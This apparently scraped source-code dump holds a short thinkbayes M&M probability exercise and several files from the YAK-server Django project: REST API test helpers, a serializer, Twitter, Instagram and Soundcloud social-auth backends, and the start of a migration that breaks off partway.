from thinkbayes import Pmf pmf = Pmf("The yellow M n M came from the 1994 bag") # A is the probability bag 1 is from 1994 and bag 2 is from 1996 # B is the probability bag 1 is from 1996 and bag 2 is from 1994 # Setting the priors pmf.set("A", 1/2) pmf.set("B", 1/2) # Our data says the probability of the yellow is 20% and green 20% for H(A) # And the probability of the yellow is 14% and green 20% for H(B) # Finding the posterior based on priors and likelihoods pmf.mult("A", 20 * 20) pmf.mult("B", 14 * 10) # Normalizing the data using Bayes theorem pmf.normalize() # Displaying the data pmf.table()
{"/cookie.py": ["/thinkbayes.py"], "/intro.py": ["/thinkbayes.py"], "/train2.py": ["/thinkbayes.py"], "/train.py": ["/thinkbayes.py"], "/montyhall.py": ["/thinkbayes.py"], "/elvistwin.py": ["/thinkbayes.py"], "/d_n_d.py": ["/thinkbayes.py"], "/train3.py": ["/thinkbayes.py"], "/m_n_m.py": ["/thinkbayes.py"]}
46,180
jaydenwindle/YAK-server
refs/heads/master
/yak/rest_core/test.py
import json from flake8.api.legacy import get_style_guide from rest_framework.test import APITestCase from django.conf import settings from yak.settings import yak_settings from django.test import TestCase import sys class APITestCaseWithAssertions(APITestCase): """ Taken from Tastypie's tests to improve readability """ def assertHttpOK(self, resp): """ Ensures the response is returning a HTTP 200. """ return self.assertEqual(resp.status_code, 200, resp) def assertHttpCreated(self, resp): """ Ensures the response is returning a HTTP 201. """ return self.assertEqual(resp.status_code, 201, resp) def assertHttpAccepted(self, resp): """ Ensures the response is returning either a HTTP 202 or a HTTP 204. """ return self.assertIn(resp.status_code, [202, 204], resp) def assertHttpMultipleChoices(self, resp): """ Ensures the response is returning a HTTP 300. """ return self.assertEqual(resp.status_code, 300, resp) def assertHttpSeeOther(self, resp): """ Ensures the response is returning a HTTP 303. """ return self.assertEqual(resp.status_code, 303, resp) def assertHttpNotModified(self, resp): """ Ensures the response is returning a HTTP 304. """ return self.assertEqual(resp.status_code, 304, resp) def assertHttpBadRequest(self, resp): """ Ensures the response is returning a HTTP 400. """ return self.assertEqual(resp.status_code, 400, resp) def assertHttpUnauthorized(self, resp): """ Ensures the response is returning a HTTP 401. """ return self.assertEqual(resp.status_code, 401, resp) def assertHttpForbidden(self, resp): """ Ensures the response is returning a HTTP 403. """ return self.assertEqual(resp.status_code, 403, resp) def assertHttpNotFound(self, resp): """ Ensures the response is returning a HTTP 404. """ return self.assertEqual(resp.status_code, 404, resp) def assertHttpMethodNotAllowed(self, resp): """ Ensures the response is returning a HTTP 405. """ return self.assertEqual(resp.status_code, 405, resp) def assertHttpNotAllowed(self, resp): """ Depending on how we purposefully reject a call (e.g., limiting methods, using permission classes, etc.), we may have a few different HTTP response codes. Bundling these together into a single assertion so that schema tests can be more flexible. """ return self.assertIn(resp.status_code, [401, 403, 404, 405], resp) def assertHttpConflict(self, resp): """ Ensures the response is returning a HTTP 409. """ return self.assertEqual(resp.status_code, 409, resp) def assertHttpGone(self, resp): """ Ensures the response is returning a HTTP 410. """ return self.assertEqual(resp.status_code, 410, resp) def assertHttpUnprocessableEntity(self, resp): """ Ensures the response is returning a HTTP 422. """ return self.assertEqual(resp.status_code, 422, resp) def assertHttpTooManyRequests(self, resp): """ Ensures the response is returning a HTTP 429. """ return self.assertEqual(resp.status_code, 429, resp) def assertHttpApplicationError(self, resp): """ Ensures the response is returning a HTTP 500. """ return self.assertEqual(resp.status_code, 500, resp) def assertHttpNotImplemented(self, resp): """ Ensures the response is returning a HTTP 501. """ return self.assertEqual(resp.status_code, 501, resp) def assertValidJSONResponse(self, resp): """ Given a ``HttpResponse`` coming back from using the ``client``, assert that you get back: * An HTTP 200 * The correct content-type (``application/json``) """ self.assertHttpOK(resp) self.assertTrue(resp['Content-Type'].startswith('application/json')) class SchemaTestCase(APITestCaseWithAssertions): def setUp(self): super(SchemaTestCase, self).setUp() # Parse schema objects for use later self.schema_objects = {} with open(yak_settings.API_SCHEMA) as file: schema_data = json.loads(file.read()) self.schema_objects = schema_data['objects'] def check_schema_keys(self, data_object, schema_fields): """ `data_object` is the actual JSON being sent or received `schema_fields` is the expected JSON based on the schema file """ required_fields = [] for schema_field, schema_type in schema_fields.items(): # If this field is actually another related object, then check that object's fields as well schema_parts = schema_type.split(',') is_list = False is_optional = False new_schema_object = None for part in schema_parts: # Parse through all parts, regardless of ordering if part in ["array", "O2M", "M2M"]: is_list = True elif part == "optional": is_optional = True elif part.startswith('$'): new_schema_object = part if not is_optional: required_fields.append(schema_field) if new_schema_object: if schema_field not in data_object or data_object[schema_field] is None: # If our new object to check is None and optional then continue, else raise an error if is_optional: continue else: raise self.failureException("No data for object {0}".format(new_schema_object)) new_data_object = data_object[schema_field] if is_list: # If our new object to check is a list of these objects, continue if we don't have any data # Else grab the first one in the list if len(new_data_object) == 0: continue new_data_object = new_data_object[0] self.check_schema_keys(new_data_object, self.schema_objects[new_schema_object]) set_required_fields = set(required_fields) set_data_object = set(data_object) set_schema_fields = set(schema_fields) # The actual `data_object` contains every required field self.assertTrue(set_required_fields.issubset(set_data_object), "Data did not match schema.\nMissing fields: {}".format( set_required_fields.difference(set_data_object))) # The actual `data_object` contains no extraneous fields not found in the schema self.assertTrue(set_data_object.issubset(set_schema_fields), "Data did not match schema.\nExtra fields: {}".format( set_data_object.difference(set_schema_fields))) def add_credentials(self, user): """ Adds OAuth2.0 authentication as specified in `rest_user` If no user is specified, clear any existing credentials (allows us to check unauthorized requests) """ if user: token = user.oauth2_provider_accesstoken.first() self.client.credentials(HTTP_AUTHORIZATION='Bearer ' + token.token) else: self.client.credentials() def check_response_data(self, response, response_object_name): results_data = response.data if "results" in response.data or isinstance(response.data, list): # If multiple objects returned if "results" in response.data: results_data = response.data["results"] else: # A plain list is returned, i.e. from a bulk update request results_data = response.data if len(results_data) == 0: raise self.failureException("No data to compare response") results_data = results_data[0] self.check_schema_keys(results_data, self.schema_objects[response_object_name]) def assertSchemaGet( self, url, parameters, response_object_name, user, unauthorized=False): """ Checks GET parameters and results match the schema """ self.add_credentials(user) response = self.client.get(url, parameters) if unauthorized: self.assertHttpNotAllowed(response) else: self.assertValidJSONResponse(response) self.check_response_data(response, response_object_name) return response def assertSchemaPost( self, url, request_object_name, response_object_name, data, user, format="json", unauthorized=False, status_OK=False): """ Checks POST data and results match schema status_OK: used for non-standard POST requests that do not return 201, e.g. if creating a custom route that uses POST """ if isinstance(data, list): # Check first object if this is a bulk create self.check_schema_keys(data[0], self.schema_objects[request_object_name]) else: self.check_schema_keys(data, self.schema_objects[request_object_name]) self.add_credentials(user) response = self.client.post(url, data, format=format) if unauthorized: self.assertHttpNotAllowed(response) elif status_OK: self.assertHttpOK(response) self.assertTrue(response['Content-Type'].startswith('application/json')) self.check_response_data(response, response_object_name) else: self.assertHttpCreated(response) self.assertTrue(response['Content-Type'].startswith('application/json')) self.check_response_data(response, response_object_name) return response def assertSchemaPatch( self, url, request_object_name, response_object_name, data, user, format="json", unauthorized=False): """ Checks PATCH data and results match schema """ self.check_schema_keys(data, self.schema_objects[request_object_name]) self.add_credentials(user) response = self.client.patch(url, data, format=format) if unauthorized: self.assertHttpNotAllowed(response) else: self.assertValidJSONResponse(response) self.check_response_data(response, response_object_name) return response def assertSchemaPut( self, url, request_object_name, response_object_name, data, user, format="json", unauthorized=False, forbidden=False): """ Assumes PUT is used for bulk updates, not single updates. Runs a PUT request and checks the PUT data and results match the schema for bulk updates. Assumes that all objects sent in a bulk update are identical, and hence only checks that the first one matches the schema. """ self.check_schema_keys(data[0], self.schema_objects[request_object_name]) self.add_credentials(user) response = self.client.put(url, data, format=format) if forbidden: # Attempting to update an object that isn't yours means it isn't in the queryset. DRF reads this as # creating, not updating. Since we have the `allow_add_remove` option set to False, creating isn't # allowed. So, instead of being rejected with a 403, server returns a 400 Bad Request. self.assertHttpBadRequest(response) elif unauthorized: self.assertHttpUnauthorized(response) else: self.assertValidJSONResponse(response) self.check_response_data(response, response_object_name) return response def assertSchemaDelete( self, url, user, unauthorized=False): """ Checks DELETE """ self.add_credentials(user) response = self.client.delete(url) if unauthorized: self.assertHttpNotAllowed(response) else: self.assertHttpAccepted(response) return response def assertPhotoUpload(self): pass def assertVideoUpload( self, url, obj_to_update, user, path_to_video, path_to_thumbnail, related_media_model=None, related_name=None, unauthorized=False ): """ Checks that the video is uploaded and saved If the model being 'updated' is not the model that actually stores files (e.g., there is a Media model that has a relation to the model being updated), pass that model and the keyword field on that model that relates to the model being updated """ self.add_credentials(user) kwargs = { "data": { 'video_file': open(settings.PROJECT_ROOT + path_to_video, 'rb') }, 'format': 'multipart' } response = self.client.post(url, **kwargs) if unauthorized: self.assertHttpForbidden(response) else: self.assertHttpCreated(response) self.assertTrue(response['Content-Type'].startswith('application/json')) # Check the video and thumbnail are saved if related_media_model and related_name: filters = { related_name: obj_to_update } obj_to_update = related_media_model.objects.filter(**filters)[0] else: obj_to_update = obj_to_update.__class__.objects.get(pk=obj_to_update.pk) original_file_field_name = getattr(obj_to_update, "original_file_name", "original_file") original_file = getattr(obj_to_update, original_file_field_name) self.assertEqual( original_file.file.read(), open(settings.PROJECT_ROOT + path_to_video, 'r').read() ) self.assertEqual( obj_to_update.thumbnail.file.read(), open(settings.PROJECT_ROOT + path_to_thumbnail, 'r').read() ) class YAKSyntaxTest(TestCase): def check_syntax(self): """ From flake8 """ packages = settings.PACKAGES_TO_TEST # Prepare config_options = getattr(yak_settings, 'FLAKE8_CONFIG', {}) flake8_style = get_style_guide(**config_options) # Save to file for later printing instead of printing now old_stdout = sys.stdout sys.stdout = out = open('syntax_output', 'w+') # Run the checkers report = flake8_style.check_files(paths=packages) sys.stdout = old_stdout # Print the final report if report.total_errors: out.close() with open("syntax_output") as f: self.fail("{0} Syntax warnings!\n\n{1}".format(report.total_errors, f.read()))
{"/yak/rest_core/test.py": ["/yak/settings.py"], "/yak/rest_social_auth/backends/yak_twitter.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_instagram.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_soundcloud.py": ["/yak/rest_social_auth/backends/base.py"], "/test_project/test_app/tests/test_social.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_social_network/models.py"], "/test_project/test_app/tests/factories.py": ["/test_project/test_app/models.py", "/yak/rest_social_network/models.py"], "/yak/rest_social_auth/serializers.py": ["/yak/rest_user/serializers.py"], "/yak/rest_user/serializers.py": ["/yak/rest_core/serializers.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_facebook.py": ["/yak/rest_social_auth/backends/base.py", "/yak/settings.py"], "/test_project/test_app/api/serializers.py": ["/test_project/test_app/models.py", "/yak/rest_core/serializers.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py"], "/test_project/test_app/tests/test_notifications.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_notifications/utils.py", "/yak/settings.py"], "/yak/rest_social_auth/views.py": ["/yak/rest_social_auth/serializers.py", "/yak/rest_social_auth/utils.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/serializers.py": ["/yak/rest_user/serializers.py", "/yak/settings.py"], "/test_project/test_app/tests/test_user.py": ["/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/yak/rest_social_network/views.py": ["/yak/rest_social_network/models.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_notifications/serializers.py", "/yak/rest_social_network/views.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_tumblr.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_user/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_user/serializers.py", "/yak/rest_user/utils.py"], "/test_project/test_app/tests/test_permissions.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/test_project/test_app/api/views.py": ["/test_project/test_app/models.py", "/yak/rest_social_auth/views.py", "/yak/rest_social_network/views.py", "/test_project/test_app/api/serializers.py"], "/test_project/test_app/models.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/utils.py"], "/yak/rest_social_network/serializers.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/serializers.py"], "/yak/rest_social_network/models.py": ["/yak/rest_user/models.py", "/yak/settings.py"], "/yak/rest_notifications/utils.py": ["/yak/settings.py"], "/test_project/test_app/tests/test_syntax.py": ["/yak/rest_core/test.py"], "/test_project/urls.py": ["/test_project/test_app/api/views.py"]}
46,181
jaydenwindle/YAK-server
refs/heads/master
/yak/rest_core/serializers.py
from django.contrib.contenttypes.models import ContentType from rest_framework import serializers class YAKModelSerializer(serializers.ModelSerializer): def __init__(self, *args, **kwargs): super(YAKModelSerializer, self).__init__(*args, **kwargs) self.fields['content_type'] = serializers.SerializerMethodField() def get_content_type(self, obj): return ContentType.objects.get_for_model(obj).pk
{"/yak/rest_core/test.py": ["/yak/settings.py"], "/yak/rest_social_auth/backends/yak_twitter.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_instagram.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_soundcloud.py": ["/yak/rest_social_auth/backends/base.py"], "/test_project/test_app/tests/test_social.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_social_network/models.py"], "/test_project/test_app/tests/factories.py": ["/test_project/test_app/models.py", "/yak/rest_social_network/models.py"], "/yak/rest_social_auth/serializers.py": ["/yak/rest_user/serializers.py"], "/yak/rest_user/serializers.py": ["/yak/rest_core/serializers.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_facebook.py": ["/yak/rest_social_auth/backends/base.py", "/yak/settings.py"], "/test_project/test_app/api/serializers.py": ["/test_project/test_app/models.py", "/yak/rest_core/serializers.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py"], "/test_project/test_app/tests/test_notifications.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_notifications/utils.py", "/yak/settings.py"], "/yak/rest_social_auth/views.py": ["/yak/rest_social_auth/serializers.py", "/yak/rest_social_auth/utils.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/serializers.py": ["/yak/rest_user/serializers.py", "/yak/settings.py"], "/test_project/test_app/tests/test_user.py": ["/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/yak/rest_social_network/views.py": ["/yak/rest_social_network/models.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_notifications/serializers.py", "/yak/rest_social_network/views.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_tumblr.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_user/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_user/serializers.py", "/yak/rest_user/utils.py"], "/test_project/test_app/tests/test_permissions.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/test_project/test_app/api/views.py": ["/test_project/test_app/models.py", "/yak/rest_social_auth/views.py", "/yak/rest_social_network/views.py", "/test_project/test_app/api/serializers.py"], "/test_project/test_app/models.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/utils.py"], "/yak/rest_social_network/serializers.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/serializers.py"], "/yak/rest_social_network/models.py": ["/yak/rest_user/models.py", "/yak/settings.py"], "/yak/rest_notifications/utils.py": ["/yak/settings.py"], "/test_project/test_app/tests/test_syntax.py": ["/yak/rest_core/test.py"], "/test_project/urls.py": ["/test_project/test_app/api/views.py"]}
46,182
jaydenwindle/YAK-server
refs/heads/master
/yak/rest_social_auth/backends/yak_twitter.py
from django.conf import settings from django.contrib.auth import get_user_model from social_core.backends.twitter import TwitterOAuth from twython import Twython from yak.rest_social_auth.backends.base import ExtraDataAbstractMixin, ExtraActionsAbstractMixin import re User = get_user_model() class Twitter(ExtraActionsAbstractMixin, ExtraDataAbstractMixin, TwitterOAuth): @staticmethod def save_extra_data(response, user): return @staticmethod def get_profile_image(strategy, details, response, uid, user, social, is_new=False, *args, **kwargs): # Remove the `_normal` affix to get the highest resolution / original photo from twitter return re.sub("_normal", "", response['profile_image_url']) @staticmethod def post(user_social_auth, social_obj): twitter = Twython( app_key=settings.SOCIAL_AUTH_TWITTER_KEY, app_secret=settings.SOCIAL_AUTH_TWITTER_SECRET, oauth_token=user_social_auth.tokens['oauth_token'], oauth_token_secret=user_social_auth.tokens['oauth_token_secret'] ) message = social_obj.create_social_message(user_social_auth.provider) link = social_obj.url() full_message_url = "{0} {1}".format(message, link) # 140 characters minus the length of the link minus the space minus 3 characters for the ellipsis message_trunc = 140 - len(link) - 1 - 3 # Truncate the message if the message + url is over 140 if len(full_message_url) > 140: safe_message = "{0}... {1}".format(message[:message_trunc], link) else: safe_message = full_message_url twitter.update_status(status=safe_message, wrap_links=True) @staticmethod def get_friends(user_social_auth): twitter = Twython( app_key=settings.SOCIAL_AUTH_TWITTER_KEY, app_secret=settings.SOCIAL_AUTH_TWITTER_SECRET, oauth_token=user_social_auth.tokens['oauth_token'], oauth_token_secret=user_social_auth.tokens['oauth_token_secret'] ) twitter_friends = twitter.get_friends_ids()["ids"] friends = User.objects.filter(social_auth__provider='twitter', social_auth__uid__in=twitter_friends) return friends
{"/yak/rest_core/test.py": ["/yak/settings.py"], "/yak/rest_social_auth/backends/yak_twitter.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_instagram.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_soundcloud.py": ["/yak/rest_social_auth/backends/base.py"], "/test_project/test_app/tests/test_social.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_social_network/models.py"], "/test_project/test_app/tests/factories.py": ["/test_project/test_app/models.py", "/yak/rest_social_network/models.py"], "/yak/rest_social_auth/serializers.py": ["/yak/rest_user/serializers.py"], "/yak/rest_user/serializers.py": ["/yak/rest_core/serializers.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_facebook.py": ["/yak/rest_social_auth/backends/base.py", "/yak/settings.py"], "/test_project/test_app/api/serializers.py": ["/test_project/test_app/models.py", "/yak/rest_core/serializers.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py"], "/test_project/test_app/tests/test_notifications.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_notifications/utils.py", "/yak/settings.py"], "/yak/rest_social_auth/views.py": ["/yak/rest_social_auth/serializers.py", "/yak/rest_social_auth/utils.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/serializers.py": ["/yak/rest_user/serializers.py", "/yak/settings.py"], "/test_project/test_app/tests/test_user.py": ["/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/yak/rest_social_network/views.py": ["/yak/rest_social_network/models.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_notifications/serializers.py", "/yak/rest_social_network/views.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_tumblr.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_user/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_user/serializers.py", "/yak/rest_user/utils.py"], "/test_project/test_app/tests/test_permissions.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/test_project/test_app/api/views.py": ["/test_project/test_app/models.py", "/yak/rest_social_auth/views.py", "/yak/rest_social_network/views.py", "/test_project/test_app/api/serializers.py"], "/test_project/test_app/models.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/utils.py"], "/yak/rest_social_network/serializers.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/serializers.py"], "/yak/rest_social_network/models.py": ["/yak/rest_user/models.py", "/yak/settings.py"], "/yak/rest_notifications/utils.py": ["/yak/settings.py"], "/test_project/test_app/tests/test_syntax.py": ["/yak/rest_core/test.py"], "/test_project/urls.py": ["/test_project/test_app/api/views.py"]}
46,183
jaydenwindle/YAK-server
refs/heads/master
/yak/rest_social_auth/backends/yak_instagram.py
from instagram import InstagramAPI, helper from social_core.backends.instagram import InstagramOAuth2 from yak.rest_social_auth.backends.base import ExtraDataAbstractMixin, ExtraActionsAbstractMixin class Instagram(ExtraActionsAbstractMixin, ExtraDataAbstractMixin, InstagramOAuth2): @staticmethod def save_extra_data(response, user): if response['data']['bio']: user.about = response['data']['bio'] user.save() @staticmethod def get_profile_image(strategy, details, response, uid, user, social, is_new=False, *args, **kwargs): image_url = response['data']['profile_picture'] return image_url @staticmethod def post(user_social_auth, social_obj): return @staticmethod def get_friends(user_social_auth): return @staticmethod def get_posts(user_social_auth, last_updated_time): api = InstagramAPI(access_token=user_social_auth.extra_data['access_token']) formatted_time = helper.datetime_to_timestamp(last_updated_time) if last_updated_time else None recent_media, next_ = api.user_recent_media(user_id=user_social_auth.uid, min_timestamp=formatted_time) return recent_media
{"/yak/rest_core/test.py": ["/yak/settings.py"], "/yak/rest_social_auth/backends/yak_twitter.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_instagram.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_soundcloud.py": ["/yak/rest_social_auth/backends/base.py"], "/test_project/test_app/tests/test_social.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_social_network/models.py"], "/test_project/test_app/tests/factories.py": ["/test_project/test_app/models.py", "/yak/rest_social_network/models.py"], "/yak/rest_social_auth/serializers.py": ["/yak/rest_user/serializers.py"], "/yak/rest_user/serializers.py": ["/yak/rest_core/serializers.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_facebook.py": ["/yak/rest_social_auth/backends/base.py", "/yak/settings.py"], "/test_project/test_app/api/serializers.py": ["/test_project/test_app/models.py", "/yak/rest_core/serializers.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py"], "/test_project/test_app/tests/test_notifications.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_notifications/utils.py", "/yak/settings.py"], "/yak/rest_social_auth/views.py": ["/yak/rest_social_auth/serializers.py", "/yak/rest_social_auth/utils.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/serializers.py": ["/yak/rest_user/serializers.py", "/yak/settings.py"], "/test_project/test_app/tests/test_user.py": ["/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/yak/rest_social_network/views.py": ["/yak/rest_social_network/models.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_notifications/serializers.py", "/yak/rest_social_network/views.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_tumblr.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_user/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_user/serializers.py", "/yak/rest_user/utils.py"], "/test_project/test_app/tests/test_permissions.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/test_project/test_app/api/views.py": ["/test_project/test_app/models.py", "/yak/rest_social_auth/views.py", "/yak/rest_social_network/views.py", "/test_project/test_app/api/serializers.py"], "/test_project/test_app/models.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/utils.py"], "/yak/rest_social_network/serializers.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/serializers.py"], "/yak/rest_social_network/models.py": ["/yak/rest_user/models.py", "/yak/settings.py"], "/yak/rest_notifications/utils.py": ["/yak/settings.py"], "/test_project/test_app/tests/test_syntax.py": ["/yak/rest_core/test.py"], "/test_project/urls.py": ["/test_project/test_app/api/views.py"]}
46,184
jaydenwindle/YAK-server
refs/heads/master
/yak/rest_social_auth/backends/yak_soundcloud.py
import requests from social_core.backends.soundcloud import SoundcloudOAuth2 from yak.rest_social_auth.backends.base import ExtraDataAbstractMixin, ExtraActionsAbstractMixin class Soundcloud(ExtraActionsAbstractMixin, ExtraDataAbstractMixin, SoundcloudOAuth2): @staticmethod def save_extra_data(response, user): if response['description']: user.about = response['description'] user.save() @staticmethod def get_profile_image(strategy, details, response, uid, user, social, is_new=False, *args, **kwargs): return response['avatar_url'] @staticmethod def post(user_social_auth, social_obj): return @staticmethod def get_friends(user_social_auth): return @staticmethod def get_posts(user_social_auth, last_updated_time): formatted_time = last_updated_time.replace(microsecond=0) if last_updated_time else None params = { 'oauth_token': user_social_auth.extra_data['access_token'], 'created_at[from]': formatted_time, 'filter': 'public' } try: track_url = "https://api.soundcloud.com/me/tracks.json" tracks = requests.get(track_url, params=params).json() favorite_track_url = "https://api.soundcloud.com/me/favorites.json" favorite_tracks = requests.get(favorite_track_url, params=params).json() playlist_url = "https://api.soundcloud.com/me/playlists.json" playlists = requests.get(playlist_url, params=params).json() return tracks + favorite_tracks + playlists except ValueError: return []
{"/yak/rest_core/test.py": ["/yak/settings.py"], "/yak/rest_social_auth/backends/yak_twitter.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_instagram.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_social_auth/backends/yak_soundcloud.py": ["/yak/rest_social_auth/backends/base.py"], "/test_project/test_app/tests/test_social.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_social_network/models.py"], "/test_project/test_app/tests/factories.py": ["/test_project/test_app/models.py", "/yak/rest_social_network/models.py"], "/yak/rest_social_auth/serializers.py": ["/yak/rest_user/serializers.py"], "/yak/rest_user/serializers.py": ["/yak/rest_core/serializers.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_facebook.py": ["/yak/rest_social_auth/backends/base.py", "/yak/settings.py"], "/test_project/test_app/api/serializers.py": ["/test_project/test_app/models.py", "/yak/rest_core/serializers.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py"], "/test_project/test_app/tests/test_notifications.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py", "/yak/rest_notifications/utils.py", "/yak/settings.py"], "/yak/rest_social_auth/views.py": ["/yak/rest_social_auth/serializers.py", "/yak/rest_social_auth/utils.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/serializers.py": ["/yak/rest_user/serializers.py", "/yak/settings.py"], "/test_project/test_app/tests/test_user.py": ["/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/yak/rest_social_network/views.py": ["/yak/rest_social_network/models.py", "/yak/rest_social_network/serializers.py", "/yak/rest_user/serializers.py", "/yak/rest_user/views.py"], "/yak/rest_notifications/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_notifications/serializers.py", "/yak/rest_social_network/views.py", "/yak/settings.py"], "/yak/rest_social_auth/backends/yak_tumblr.py": ["/yak/rest_social_auth/backends/base.py"], "/yak/rest_user/views.py": ["/yak/rest_core/permissions.py", "/yak/rest_user/serializers.py", "/yak/rest_user/utils.py"], "/test_project/test_app/tests/test_permissions.py": ["/test_project/test_app/models.py", "/test_project/test_app/tests/factories.py", "/yak/rest_core/test.py"], "/test_project/test_app/api/views.py": ["/test_project/test_app/models.py", "/yak/rest_social_auth/views.py", "/yak/rest_social_network/views.py", "/test_project/test_app/api/serializers.py"], "/test_project/test_app/models.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/utils.py"], "/yak/rest_social_network/serializers.py": ["/yak/rest_social_network/models.py", "/yak/rest_user/serializers.py"], "/yak/rest_social_network/models.py": ["/yak/rest_user/models.py", "/yak/settings.py"], "/yak/rest_notifications/utils.py": ["/yak/settings.py"], "/test_project/test_app/tests/test_syntax.py": ["/yak/rest_core/test.py"], "/test_project/urls.py": ["/test_project/test_app/api/views.py"]}
46,185
jaydenwindle/YAK-server
refs/heads/master
/yak/rest_notifications/migrations/0001_initial.py
# -*- coding: utf-8 -*- from django.db import models, migrations class Migration(migrations.Migration): dependencies = [ ] operations = [ migrations.CreateModel( name='Notification', fields=[ ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)), ('created', models.DateTimeField(auto_now_add=True, null=True)), ('object_id', models.PositiveIntegerField(db_index=True)), ], options={ 'ordering': ['-created'], }, bases=(models.Model,), ), migrations.CreateModel( name='NotificationSetting', fields=[ ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)), ('created', models.DateTimeField(auto_now_add=True, null=True)), ('allow_push', models.BooleanField(default=True)), ('allow_email', models.BooleanField(default=True)), ], options={ }, bases=(models.Model,), ), migrations.CreateModel( name='NotificationType', fields=[ ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)), ('created', models.DateTimeField(auto_now_add=True, null=True)), ('name', models.CharField(max_length=32)), ('slug', models.SlugField(unique=True)), ('description', models.CharField(max_length=255)), ('is_active', models.BooleanField(default=True)), ], options={ 'abstract': False, }, bases=(models.Model,), ), migrations.CreateModel( name='PushwooshToken', fields=[ ('id', 